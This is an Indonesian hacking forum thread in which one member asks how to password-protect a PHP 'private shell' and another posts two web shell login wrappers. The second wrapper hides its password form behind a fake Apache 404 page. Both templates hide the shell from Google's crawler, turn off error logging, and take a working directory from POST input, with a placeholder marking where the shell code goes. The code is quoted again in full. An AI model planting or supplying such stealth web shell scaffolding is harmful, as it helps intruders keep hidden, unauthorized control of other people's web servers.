Posts: 497
Threads: 29
Joined: Nov 2012
Reputation:
16
05-21-2013, 08:33 PM
(This post was last modified: 05-21-2013, 08:35 PM by rifaldi238.)
assalamualaikum wr. wb.
Permissi.. Newbie Numpang tanya..
Cara membuat from script PHP itu gimana ya ?
kayak Private Shell HN gitu ??
udah muter-muter google , kagak ada yang kayak gitu :3
----
mohon dijawab mastah
wassalamualikum..
Quote:Pensiun Dunia Hacking [ UDAH KAPOK ] - mohon maaf lahir dan batin - yang lalu biarlah berlalu ...
Posts: 497
Threads: 29
Joined: Nov 2012
Reputation:
16
Quote:Pensiun Dunia Hacking [ UDAH KAPOK ] - mohon maaf lahir dan batin - yang lalu biarlah berlalu ...
Posts: 1,930
Threads: 152
Joined: Oct 2010
Reputation:
162
mksudnya mau nglindungin shell pake login form ?
kalo mksudnya emang itu, ini contohnya :
PHP Code: <?php
error_reporting(E_ALL^(E_NOTICE|E_WARNING));
//authentication
$auth_pass = "734096ccb82eba0769143b7d6486ce0b"; //your shell password
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<html>
<title>My Fvcking Shell</title>
<body bgcolor="#000000">
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<center>
<font face="courier" color="lime"><b>:: Log On ::</b></font>
<form method=post>
<input type=password name=pass>
</form>
</center>
</body>
</html>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
@chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
if($os == 'win')
$aliases = array(
);
else
$aliases = array(
);
//taruh code phpshell nya disini.
?>
ini login tersembunyi model 404 Not Found
PHP Code: <?php
error_reporting(E_ALL^(E_NOTICE|E_WARNING));
//authentication
$auth_pass = "734096cca89eba0769143b7d6646ce0b"; //your shell password
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<form method=post>
<input type=password name=pass>
</form>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
@chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
if($os == 'win')
$aliases = array(
);
else
$aliases = array(
);
//code shell disini
?>
Posts: 672
Threads: 66
Joined: Feb 2011
Reputation:
23
widihhh.....Lengkap dahhhhh
Posts: 497
Threads: 29
Joined: Nov 2012
Reputation:
16
(05-21-2013, 10:43 PM)E1nzte1N Wrote: mksudnya mau nglindungin shell pake login form ?
kalo mksudnya emang itu, ini contohnya :
PHP Code: <?php
error_reporting(E_ALL^(E_NOTICE|E_WARNING));
//authentication
$auth_pass = "734096ccb82eba0769143b7d6486ce0b"; //your shell password
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<html>
<title>My Fvcking Shell</title>
<body bgcolor="#000000">
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<center>
<font face="courier" color="lime"><b>:: Log On ::</b></font>
<form method=post>
<input type=password name=pass>
</form>
</center>
</body>
</html>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
@chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
if($os == 'win')
$aliases = array(
);
else
$aliases = array(
);
//taruh code phpshell nya disini.
?>
ini login tersembunyi model 404 Not Found
PHP Code: <?php
error_reporting(E_ALL^(E_NOTICE|E_WARNING));
//authentication
$auth_pass = "734096cca89eba0769143b7d6646ce0b"; //your shell password
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
header('HTTP/1.0 404 Not Found');
exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '2.1');
if( get_magic_quotes_gpc() ) {
function stripslashes_array($array) {
return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
}
$_POST = stripslashes_array($_POST);
}
function printLogin() {
?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER['HTTP_HOST']?> Port 80</address>
<style>
input { margin:0;background-color:#fff;border:1px solid #fff; }
</style>
<form method=post>
<input type=password name=pass>
</form>
<?php
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
if( empty( $auth_pass ) ||
( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
printLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
@chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
if($os == 'win')
$aliases = array(
);
else
$aliases = array(
);
//code shell disini
?>
Wow , Thanks Banget broo
oh iya , itu Hash apaan ya ? kok pake MD5 kagak bisa :3
-----------------
Cendol +1 ->Melayang
Quote:Pensiun Dunia Hacking [ UDAH KAPOK ] - mohon maaf lahir dan batin - yang lalu biarlah berlalu ...
Posts: 1,930
Threads: 152
Joined: Oct 2010
Reputation:
162
05-22-2013, 07:22 PM
(This post was last modified: 05-22-2013, 07:24 PM by E1nzte1N.)
Itu cm contoh.
Enkripsi yg dipake disitu pake md5.
Ente bkin sndri passwd nya pake md5. Taro disitu.
|